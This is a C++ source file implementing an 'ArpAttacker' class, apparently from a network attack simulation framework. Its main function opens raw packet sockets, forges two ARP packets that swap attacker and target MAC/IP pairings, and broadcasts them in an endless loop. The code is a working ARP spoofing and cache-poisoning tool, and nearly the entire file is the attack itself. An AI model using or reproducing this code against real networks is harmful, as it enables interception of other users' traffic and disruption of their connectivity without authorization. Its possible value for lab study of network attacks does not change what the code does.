#include <arpAttacker.h>
#include <iostream>

namespace Model {

  ArpAttacker::ArpAttacker(std::map<std::string,model *> *models)
    :Attacker(models)
  {
    
  }

  bool ArpAttacker::ProcessFunction()
  {
    std::string srcIP(static_cast<AttackerMessage*>((*models)["AttackerMessage"])->GetIP()),
      srcMAC(static_cast<AttackerMessage*>((*models)["AttackerMessage"])->GetMAC()),
      dstIP(static_cast<AttackTargetMessage*>((*models)["AttackTargetMessage"])->GetIP()),
      dstMAC(static_cast<AttackTargetMessage*>((*models)["AttackTargetMessage"])->GetMAC()),
      nullMAC("01:01:01:01:01:01");
    struct in_addr srcInAddr, targInAddr;// , nullAddr;
    ArpPacket arpPacketA, arpPacketB;
    struct sockaddr ethX;
    int sockA,sockB;

    sockA = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
    sockB = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
    if (sockA < 0 || sockB < 0){
      perror("socket");
      exit(1);
    }
    getIpAddr(&srcInAddr,const_cast<char*>(srcIP.c_str()) );
    getIpAddr(&targInAddr, const_cast<char*>(dstIP.c_str()) );

    arpPacketA.frame_type = htons(ARP_FRAME_TYPE);
    arpPacketA.hw_type = htons(ETHER_HW_TYPE);
    arpPacketA.prot_type = htons(IP_PROTO_TYPE);
    arpPacketA.hw_addr_size = ETH_HW_ADDR_LEN;
    arpPacketA.prot_addr_size = IP_ADDR_LEN;
    arpPacketA.op = htons(OP_ARP_QUEST);
    getHwAddr(arpPacketA.targ_hw_addr, const_cast<char*>(nullMAC.c_str()) );
    getHwAddr(arpPacketA.rcpt_hw_addr, const_cast<char*>(nullMAC.c_str()) );
    getHwAddr(arpPacketA.src_hw_addr, const_cast<char*>(srcMAC.c_str()) );
    getHwAddr(arpPacketA.sndr_hw_addr, const_cast<char*>(srcMAC.c_str()) );
    memcpy(arpPacketA.sndr_ip_addr, &targInAddr, IP_ADDR_LEN);
    memcpy(arpPacketA.rcpt_ip_addr, &srcInAddr, IP_ADDR_LEN);
    bzero(arpPacketA.padding, 18);
    
    arpPacketB.frame_type = htons(ARP_FRAME_TYPE);
    arpPacketB.hw_type = htons(ETHER_HW_TYPE);
    arpPacketB.prot_type = htons(IP_PROTO_TYPE);
    arpPacketB.hw_addr_size = ETH_HW_ADDR_LEN;
    arpPacketB.prot_addr_size = IP_ADDR_LEN;
    arpPacketB.op = htons(OP_ARP_QUEST);
    
    getHwAddr(arpPacketB.targ_hw_addr, const_cast<char*>(nullMAC.c_str()) );
    getHwAddr(arpPacketB.rcpt_hw_addr, const_cast<char*>(nullMAC.c_str()) );
    getHwAddr(arpPacketB.src_hw_addr, const_cast<char*>(dstMAC.c_str()) );
    getHwAddr(arpPacketB.sndr_hw_addr, const_cast<char*>(dstMAC.c_str()) );
    /*
    getHwAddr(arpPacketB.targ_hw_addr, const_cast<char*>(nullMAC.c_str()));
    getHwAddr(arpPacketB.rcpt_hw_addr, const_cast<char*>(nullMAC.c_str()) );
    getHwAddr(arpPacketB.src_hw_addr, const_cast<char*>(dstMAC.c_str()) );
    getHwAddr(arpPacketB.sndr_hw_addr, const_cast<char*>(dstMAC.c_str()) );
    */
    memcpy(arpPacketB.sndr_ip_addr, &srcInAddr, IP_ADDR_LEN);
    memcpy(arpPacketB.rcpt_ip_addr, &targInAddr, IP_ADDR_LEN);
    bzero(arpPacketB.padding, 18);

    strcpy(ethX.sa_data, DEFAULT_DEVICE);
    while(1){
      std::cout<<"ARP attack ....\n";
      sleep(1);
      if (sendto(sockA, &arpPacketA, sizeof(arpPacketA), 0, &ethX, sizeof(ethX)) < 0){
	perror("sendto");
	exit(1);
      }
      if (sendto(sockB, &arpPacketB, sizeof(arpPacketB), 0, &ethX, sizeof(ethX)) < 0){
        perror("sendto");
        exit(1);
      }
    }
  }

  void ArpAttacker::getHwAddr(char* buf, char* str)
  {
    int i;
    char c, val('0');
    for (i = 0; i < ETH_HW_ADDR_LEN; i++)
      {
	c = tolower(*str++);
	if (isdigit(c)){
	  val = c - '0';
	}else if (c >= 'a' && c <= 'f'){
	  val = c - 'a' + 10;
	}else
	  std::cout<<"Invalid hardware address\n";
	
	*buf = val << 4;
	c = tolower(*str++);
	if (isdigit(c)){
	    val = c - '0';
	}else if (c >= 'a' && c <= 'f'){
	  val = c - 'a' + 10;
	}else
	  std::cout<<"Invalid hardware address\n";
	*buf++ |= val;
	if (*str == ':')
	  str++;
      }
  }

  void ArpAttacker::getIpAddr(struct in_addr* in_addr, char* str)
  {
    struct hostent* hostp;
    in_addr->s_addr = inet_addr(str);
    if (in_addr->s_addr == (unsigned int)-1){
      if ((hostp = gethostbyname(str))){
	bcopy(hostp->h_addr, in_addr, hostp->h_length);
      }else{
	fprintf(stderr, "send_arp: unknown host %s\n", str);
	exit(1);
      }
    }
  }
  
}
